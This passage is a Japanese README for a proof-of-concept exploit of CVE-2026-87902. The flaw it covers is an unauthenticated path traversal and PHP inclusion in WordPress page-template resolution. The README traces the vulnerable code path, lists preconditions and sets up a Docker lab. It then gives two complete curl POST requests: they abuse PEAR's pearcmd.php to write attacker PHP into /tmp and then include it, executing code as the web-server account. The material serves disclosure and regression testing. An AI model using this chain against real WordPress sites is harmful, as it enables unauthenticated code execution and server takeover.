
CVE-2026-87902 の PoC — WordPress のページテンプレート解決における未認証のパストラバーサル(ローカル PHP インクルージョン、条件付き RCE)、脆弱なラボを固定
WordPress Core における未認証のローカル PHP ファイルインクルード。二重エンコードされた
pagename 値を通じて発生し、特定のデプロイ条件下では Web サーバーアカウントの権限で
PHP コードが実行される。
| CVE | CVE-2026-87902 |
| ベンダーアドバイザリ | GHSA-7hp8-65ch-5whp |
| 解説記事 | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| 影響を受けるバージョン | WordPress Core 4.7.0 – 7.1.1 (アドバイザリのブランチ別範囲による全ブランチ); 7.0.2 で動的に再現済み |
| 修正済み | 7.1.2 (7.1 ブランチ)、7.0.6 (7.0 ブランチ)、および 4.7.37 までの全ブランチへのバックポート (アドバイザリによる) |
| 脆弱性分類 | CWE-98 (include におけるファイル名の不適切な制御)、CWE-22 / CWE-23 (パストラバーサル) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (補足) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| 認証 | 不要 — アカウント、Cookie、nonce、セッション、プラグイン、外部リクエストのいずれも不要 |
| ユーザー操作 | 不要 |
| 著者 | Robert Ressl — ressl.ch |
| PoC 検証日 | 2026-09-22、本リポジトリのラボ環境にて — 検証結果 を参照 |
WordPress はページテンプレートを、選択されたファイルがテーマルート内に留まることを 一切検証しない連鎖を通じて解決する:
pagename と page_id は公開クエリ変数であり、WP::parse_request() が匿名の
POST ボディから受け付ける。pagename 内の二重エンコードされたトラバーサルは、初期のクエリサニタイズを
エスケープされた %xx オクテットとして通過する (wp_basename() は %2f を
セパレータとして認識できず、sanitize_title_with_dashes() は有効なオクテットを
意図的に保持する)。page_id が実際に公開されたページを選択する一方で、悪意ある
pagename はクエリオブジェクト内に残る。get_page_template() が後にその値に対して urldecode() を呼び出し、
page-templates/../../../../../../../usr/local/lib/php/pearcmd.php のような
候補をテンプレート階層に追加する。locate_template() と最終的なテンプレートローダーは、存在、読み取り可能性、
.php/.html 拡張子のみをチェックし、正規化されたパスが許可されたテーマルート内に
あることは決して確認せず、そのまま include する。これが WordPress Core における未認証のリモートローカルファイルインクルードプリミティブである。
テスト済みの公式ランタイム (wordpress:php8.3-apache、PEAR を同梱し php.ini を
ロードしないため register_argc_argv が On) では、インクルードは PEAR の
pearcmd.php を経由して連鎖された: 最初の匿名リクエストで config-create が
攻撃者制御の PHP を /tmp に書き込み、2 回目の匿名リクエストがそのファイルを
インクルードして www-data として実行する。
Core におけるパス封じ込めの欠如が脆弱性である。PEAR はインクルードからコード実行への 環境依存の経路の一つに過ぎず、WordPress の依存関係ではなく、すべてのデプロイに 存在または利用可能なわけではない。
検証済みのソースコード位置 (WordPress 7.0.2):
| # | 場所 | 役割 |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename と page_id は公開クエリ変数であり、$_POST から読み取られる |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f は wp_basename() にとってセパレータではない |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() は有効な %xx オクテットを削除せず保持する |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — トラバーサルはサニタイズの後に有効化される |
| 5 | wp-includes/template.php:722-736 | locate_template() は各テーマルートの下に候補を連結し、file_exists() のみを呼び出す |
| 6 | wp-includes/template-loader.php:116-132 | realpath() がパスを正規化した後、正規のルート封じ込めチェックなしで include が実行される |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() は非 GET/HEAD に対して早期リターンするため、POST は正規化されずに済む |
単体のインクルードプリミティブには以下が必要:
| # | 前提条件 | 理由 |
|---|---|---|
| 1 | 数値の page_id で選択される、公開済みで匿名から到達可能なページ | パス名検索が失敗した後、クエリによってページが返される必要がある |
| 2 | それ以前に解決可能なカスタムページテンプレートが存在しないこと | 有効な割り当て済みテンプレートは悪意ある候補より前に順序付けられる |
| 3 | アクティブな (子または親) テーマ内に、名前が page- で始まるトップレベルディレクトリ、例: page-templates/ | WordPress は固定の page- プレフィックスを先頭に付加するため、.. トラバーサルは位置 0 から開始できない; ディレクトリは存在してトラバース可能であればよく、書き込み可能である必要はない |
| 4 | 存在し、PHP ユーザーが読み取り可能な、選択されたローカルの .php ファイル | ローダーは is_file()/is_readable() をチェックし、.php 拡張子を要求する |
| 5 | そのファイルをブロックするファイルシステム封じ込めが存在しないこと | open_basedir や MAC ポリシーがインクルードを妨げる可能性がある |
実証された PEAR 段階にはさらに、読み取り可能な pearcmd.php (およびその依存関係)、
Web SAPI に対する register_argc_argv=On、書き込み可能な出力ディレクトリが必要である。
本番環境の php.ini ファイルは register_argc_argv=Off を設定する; テスト済みの
イメージは php.ini をロードしないため、コンパイル時のデフォルト (On) が適用された。
これは実証されたコード実行連鎖の普及率に関する重要な制限である。
同梱の Twenty Twenty-Three/Four/Five テーマにはトップレベルの page-* ディレクトリが
存在しないため、標準のラボでは以下に記載するフィクスチャが必要である。カスタムテーマは
page-templates/ レイアウトを正当に使用できる
(WordPress ドキュメント)。
アドバイザリは、これらの条件が出荷済みソフトウェアのどこで発生するかを記録している:
テーマ条件はレガシーの Twenty Twelve および Twenty Fourteen テーマ、ならびに Neve、
Hestia、Sydney などのサードパーティテーマで満たされ、PEAR 遷移は公式 PHP Docker
イメージおよび PHP 8.5 より古い PHP を実行するデフォルトの cPanel 構成に適用される。
(Twenty Twelve と Twenty Fourteen はどちらもトップレベルの page-templates/
ディレクトリを同梱している; 残りの記述はアドバイザリによるものである。) 本リポジトリは
完全な連鎖がどの程度の頻度で適用されるかを測定していない。
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py は Python 3.6+ (標準ライブラリのみ) を必要とし、デフォルトで
http://127.0.0.1:8091 のラボに到達する。期待される出力:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
終了コードは成功時 0、それ以外は 1 であるため、PoC は回帰/検出チェックとしても
機能する。
後片付け: docker compose down -v。
2026-09-22 に本ラボ (Docker 29.4、OrbStack、Apple silicon) に対して実行:
| チェック | 結果 |
|---|---|
| 段階 1 | HTTP 200; /tmp/wp-pear-rce-flag.php が www-data:www-data、モード 0644、1219 バイトで書き込まれた |
| ペイロード SHA-256 | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 元のレポートに記録されたハッシュと同一 |
| 段階 2 | HTTP 200; 注入された PHP がモード 0444 の証明アーティファクトを出力した |
| マーカー出現回数 | 12 (PEAR が制御されたルート値を 12 個の設定エントリにシリアライズする) |
| 使用された認証情報 | なし — いずれのリクエストにも Cookie または Authorization ヘッダーはない |
| ネガティブコントロール | page-templates/ を削除 → 段階 2 は通常のページを返し、マーカーなし、終了コード 1 |
証明アーティファクトはコンテナ内の /flag で、root 所有かつ全ユーザー読み取り可能
(root:root、モード 0444)。これは Web サーバーアカウントとして の PHP 実行と
ファイルアクセスを証明するものであり、権限昇格の対象ではない。
2 回の匿名 POST。WordPress のルーティング値はフォームボディで送信され、PEAR の
引数は生のクエリ文字列で送信される (PHP は生のクエリ文字列をリテラルの + で
argv に分割し、個々の引数を URL デコードしない):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
段階 1 — pearcmd.php をインクルードし、ペイロードを書き込む:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
段階 2 — 生成されたファイルをインクルードし、その PHP を実行する:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
重要な詳細: